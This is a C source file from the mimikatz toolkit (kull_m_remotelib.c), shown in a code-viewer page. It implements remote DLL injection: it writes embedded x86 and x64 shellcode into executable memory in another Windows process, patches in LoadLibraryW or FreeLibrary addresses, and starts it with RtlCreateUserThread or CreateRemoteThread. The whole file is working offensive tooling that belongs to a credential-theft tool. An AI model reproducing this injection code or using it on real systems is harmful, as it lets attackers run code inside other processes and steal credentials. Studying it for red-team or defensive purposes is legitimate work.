210 lines
7.9 KiB
C
210 lines
7.9 KiB
C
|
/* Benjamin DELPY `gentilkiwi`
|
||
|
http://blog.gentilkiwi.com
|
||
|
benjamin@gentilkiwi.com
|
||
|
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||
|
*/
|
||
|
#include "kull_m_remotelib.h"
|
||
|
|
||
|
#ifdef _M_IX86
|
||
|
BYTE RemoteLoadLibrarySC[] = {0x55, 0x8b, 0xec, 0x8b, 0x45, 0x08, 0x83, 0xc0, 0x0c, 0x50, 0xb8, 0x61, 0x61, 0x61, 0x61, 0xff, 0xd0, 0x8b, 0x4d, 0x08, 0x89, 0x41, 0x04, 0x33, 0xc0, 0x5d, 0xc2, 0x04, 0x00};
|
||
|
BYTE RemoteFreeLibrarySC[] = {0x55, 0x8b, 0xec, 0x8b, 0x45, 0x08, 0xff, 0x70, 0x04, 0xb8, 0x62, 0x62, 0x62, 0x62, 0xff, 0xd0, 0x8b, 0x4d, 0x08, 0x89, 0x41, 0x04, 0x33, 0xc0, 0x5d, 0xc2, 0x04, 0x00};
|
||
|
#define RemoteLoadLibrarySC_Offset 11
|
||
|
#define RemoteFreeLibrarySC_Offset 10
|
||
|
#elif defined _M_X64
|
||
|
BYTE RemoteLoadLibrarySC[] = {0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x4c, 0x24, 0x30, 0x48, 0x83, 0xc1, 0x14, 0x48, 0xb8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xff, 0xd0, 0x4c, 0x8b, 0xd8, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x4c, 0x89, 0x58, 0x08, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3};
|
||
|
BYTE RemoteFreeLibrarySC[] = {0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x4c, 0x24, 0x30, 0x48, 0x8b, 0x49, 0x08, 0x48, 0xb8, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0xff, 0xd0, 0x48, 0x63, 0xc8, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x89, 0x48, 0x08, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3};
|
||
|
#define RemoteLoadLibrarySC_Offset 20
|
||
|
#define RemoteFreeLibrarySC_Offset 20
|
||
|
#endif
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
#pragma optimize("", off)
|
||
|
typedef HMODULE (WINAPI * PLOADLIB) (LPCWSTR lpLibFileName);
|
||
|
typedef BOOL (WINAPI * PFREELIB) (HMODULE hModule);
|
||
|
DWORD WINAPI ThreadProcLoadLibraryRemote(PREMOTE_LIB_FUNC lpParameter)
|
||
|
{
|
||
|
lpParameter->outputData = ((PLOADLIB) 'aaaa') ((LPCWSTR) lpParameter->inputData);
|
||
|
return STATUS_SUCCESS;
|
||
|
}
|
||
|
|
||
|
DWORD WINAPI ThreadProcFreeLibraryRemote(PREMOTE_LIB_FUNC lpParameter)
|
||
|
{
|
||
|
lpParameter->outputData = (PVOID) ((PFREELIB) 'bbbb') ((HMODULE) lpParameter->outputData);
|
||
|
return STATUS_SUCCESS;
|
||
|
}
|
||
|
#pragma optimize("", on)
|
||
|
|
||
|
BOOL CALLBACK kull_m_remotelib_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg)
|
||
|
{
|
||
|
if(pExportedEntryInformations->name)
|
||
|
{
|
||
|
if(stricmp(pExportedEntryInformations->name, ((PREMOTE_LIB_GETPROC) pvArg)->lpProcName) == 0)
|
||
|
{
|
||
|
((PREMOTE_LIB_GETPROC) pvArg)->addr = (FARPROC) pExportedEntryInformations->function.address;
|
||
|
return FALSE;
|
||
|
}
|
||
|
}
|
||
|
return TRUE;
|
||
|
}
|
||
|
|
||
|
FARPROC kull_m_remotelib_GetProcAddress(PKULL_M_MEMORY_HANDLE hProcess, HMODULE hModule, LPCSTR lpProcName)
|
||
|
{
|
||
|
BOOL status;
|
||
|
REMOTE_LIB_GETPROC getProcArgs = {lpProcName, NULL};
|
||
|
KULL_M_MEMORY_ADDRESS aRemote = {hModule, hProcess};
|
||
|
status = kull_m_process_getExportedEntryInformations(&aRemote, kull_m_remotelib_callback_module_exportedEntry, &getProcArgs);
|
||
|
|
||
|
if(!getProcArgs.addr)
|
||
|
{
|
||
|
if(status)
|
||
|
PRINT_ERROR_AUTO(L"kull_m_process_getExportedEntryInformations");
|
||
|
else
|
||
|
PRINT_ERROR(L"GetProcAddressRemote \'%S\' not found\n", lpProcName);
|
||
|
}
|
||
|
return getProcArgs.addr;
|
||
|
}
|
||
|
|
||
|
HMODULE kull_m_remotelib_LoadLibrary(PKULL_M_MEMORY_HANDLE hProcess, LPCWSTR lpFileName)
|
||
|
{
|
||
|
PWCHAR absolutePath;
|
||
|
PREMOTE_LIB_FUNC pArgs;
|
||
|
DWORD szLibName, pArgsSize;
|
||
|
HMODULE hModule = NULL;
|
||
|
KULL_M_MEMORY_HANDLE hLocalBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
|
||
|
KULL_M_MEMORY_ADDRESS aRemoteFunc = {NULL, hProcess}, aLocalAddr = {NULL, &hLocalBuffer};
|
||
|
|
||
|
if(kull_m_file_getAbsolutePathOf(lpFileName, &absolutePath))
|
||
|
{
|
||
|
if(kull_m_file_isFileExist(absolutePath))
|
||
|
{
|
||
|
szLibName = (DWORD) (wcsnlen_s(absolutePath, MAX_PATH) + 1) * sizeof(wchar_t);
|
||
|
pArgsSize = sizeof(REMOTE_LIB_FUNC) - 1 + szLibName;
|
||
|
if(pArgs = (PREMOTE_LIB_FUNC) LocalAlloc(LPTR, pArgsSize))
|
||
|
{
|
||
|
pArgs->inputSize = szLibName;
|
||
|
RtlCopyMemory(pArgs->inputData, absolutePath, szLibName);
|
||
|
*(FARPROC *)(RemoteLoadLibrarySC + RemoteLoadLibrarySC_Offset) = (FARPROC) LoadLibraryW;
|
||
|
|
||
|
if(kull_m_memory_alloc(&aRemoteFunc, sizeof(RemoteLoadLibrarySC), PAGE_EXECUTE_READWRITE))
|
||
|
{
|
||
|
aLocalAddr.address = RemoteLoadLibrarySC;
|
||
|
if(kull_m_memory_copy(&aRemoteFunc, &aLocalAddr, sizeof(RemoteLoadLibrarySC)))
|
||
|
{
|
||
|
if(kull_m_remotelib_create(&aRemoteFunc, pArgs, pArgsSize, NULL, NULL, TRUE))
|
||
|
hModule = (HMODULE) pArgs->outputData;
|
||
|
}
|
||
|
else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
|
||
|
kull_m_memory_free(&aRemoteFunc, 0);
|
||
|
}
|
||
|
else PRINT_ERROR_AUTO(L"kull_m_memory_alloc / VirtualAlloc(Ex)");
|
||
|
LocalFree(pArgs);
|
||
|
}
|
||
|
}
|
||
|
else PRINT_ERROR_AUTO(L"kull_m_file_isFileExist");
|
||
|
LocalFree(absolutePath);
|
||
|
}
|
||
|
else PRINT_ERROR_AUTO(L"kull_m_file_getAbsolutePathOf");
|
||
|
|
||
|
return hModule;
|
||
|
}
|
||
|
|
||
|
BOOL kull_m_remotelib_FreeLibrary(PKULL_M_MEMORY_HANDLE hProcess, HMODULE hModule)
|
||
|
{
|
||
|
BOOL sucess = FALSE;
|
||
|
REMOTE_LIB_FUNC Args = {0, hModule/* ... */};
|
||
|
|
||
|
KULL_M_MEMORY_HANDLE hLocalBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
|
||
|
KULL_M_MEMORY_ADDRESS aRemoteFunc = {NULL, hProcess}, aLocalAddr = {RemoteFreeLibrarySC, &hLocalBuffer};
|
||
|
|
||
|
*(FARPROC *)(RemoteFreeLibrarySC + RemoteFreeLibrarySC_Offset) = (FARPROC) FreeLibrary;
|
||
|
|
||
|
if(kull_m_memory_alloc(&aRemoteFunc, sizeof(RemoteFreeLibrarySC), PAGE_EXECUTE_READWRITE))
|
||
|
{
|
||
|
if(kull_m_memory_copy(&aRemoteFunc, &aLocalAddr, sizeof(RemoteFreeLibrarySC)))
|
||
|
{
|
||
|
if(kull_m_remotelib_create(&aRemoteFunc, &Args, sizeof(REMOTE_LIB_FUNC), NULL, NULL, TRUE))
|
||
|
sucess = (BOOL) Args.outputData;
|
||
|
}
|
||
|
else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
|
||
|
kull_m_memory_free(&aRemoteFunc, 0);
|
||
|
}
|
||
|
else PRINT_ERROR_AUTO(L"kull_m_memory_alloc / VirtualAlloc(Ex)");
|
||
|
return sucess;
|
||
|
}
|
||
|
|
||
|
BOOL kull_m_remotelib_create(PKULL_M_MEMORY_ADDRESS aRemoteFunc, LPVOID inputData, DWORD inputDataSize, LPVOID *outputData, DWORD *outputDataSize, BOOL isRaw)
|
||
|
{
|
||
|
BOOL success = FALSE;
|
||
|
NTSTATUS status;
|
||
|
KULL_M_MEMORY_HANDLE hLocalBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
|
||
|
KULL_M_MEMORY_ADDRESS aRemoteData = {NULL, aRemoteFunc->hMemory}, aSuppData = {NULL, aRemoteFunc->hMemory}, aLocalAddr = {NULL, &hLocalBuffer};
|
||
|
HANDLE hThread;
|
||
|
|
||
|
PREMOTE_LIB_FUNC pArgs = NULL;
|
||
|
DWORD pArgsSize;
|
||
|
|
||
|
if(isRaw)
|
||
|
{
|
||
|
pArgsSize = inputDataSize;
|
||
|
pArgs = (PREMOTE_LIB_FUNC) inputData;
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
*outputData = NULL;
|
||
|
*outputDataSize = 0;
|
||
|
|
||
|
pArgsSize = sizeof(REMOTE_LIB_FUNC) - 1 + inputDataSize;
|
||
|
if(pArgs = (PREMOTE_LIB_FUNC) LocalAlloc(LPTR, pArgsSize))
|
||
|
if(pArgs->inputSize = inputDataSize)
|
||
|
RtlCopyMemory(pArgs->inputData, inputData, inputDataSize);
|
||
|
}
|
||
|
|
||
|
if(kull_m_memory_alloc(&aRemoteData, pArgsSize, PAGE_READWRITE))
|
||
|
{
|
||
|
aLocalAddr.address = pArgs;
|
||
|
if(kull_m_memory_copy(&aRemoteData, &aLocalAddr, pArgsSize))
|
||
|
{
|
||
|
if(MIMIKATZ_NT_MAJOR_VERSION > 5)
|
||
|
{
|
||
|
status = RtlCreateUserThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, &hThread, NULL);
|
||
|
if(!NT_SUCCESS(status))
|
||
|
{
|
||
|
hThread = NULL;
|
||
|
PRINT_ERROR(L"RtlCreateUserThread (0x%08x)\n", status);
|
||
|
}
|
||
|
}
|
||
|
else if(!(hThread = CreateRemoteThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, 0, NULL)))
|
||
|
PRINT_ERROR_AUTO(L"CreateRemoteThread");
|
||
|
|
||
|
if(hThread)
|
||
|
{
|
||
|
WaitForSingleObject(hThread, INFINITE);
|
||
|
CloseHandle(hThread);
|
||
|
success = kull_m_memory_copy(&aLocalAddr, &aRemoteData, sizeof(REMOTE_LIB_FUNC) - sizeof(DWORD) - 1);
|
||
|
if(!isRaw && success && pArgs->outputData)
|
||
|
{
|
||
|
success = FALSE;
|
||
|
aSuppData.address = pArgs->outputData;
|
||
|
if(aLocalAddr.address = LocalAlloc(LPTR, pArgs->outputSize))
|
||
|
{
|
||
|
if(success = kull_m_memory_copy(&aLocalAddr, &aSuppData, pArgs->outputSize))
|
||
|
{
|
||
|
*outputData = aLocalAddr.address;
|
||
|
*outputDataSize = pArgs->outputSize;
|
||
|
}
|
||
|
else LocalFree(aLocalAddr.address);
|
||
|
}
|
||
|
kull_m_memory_free(&aSuppData, 0);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
kull_m_memory_free(&aRemoteData, 0);
|
||
|
}
|
||
|
|
||
|
if(!isRaw && pArgs)
|
||
|
LocalFree(pArgs);
|
||
|
|
||
|
return success;
|
||
|
}
|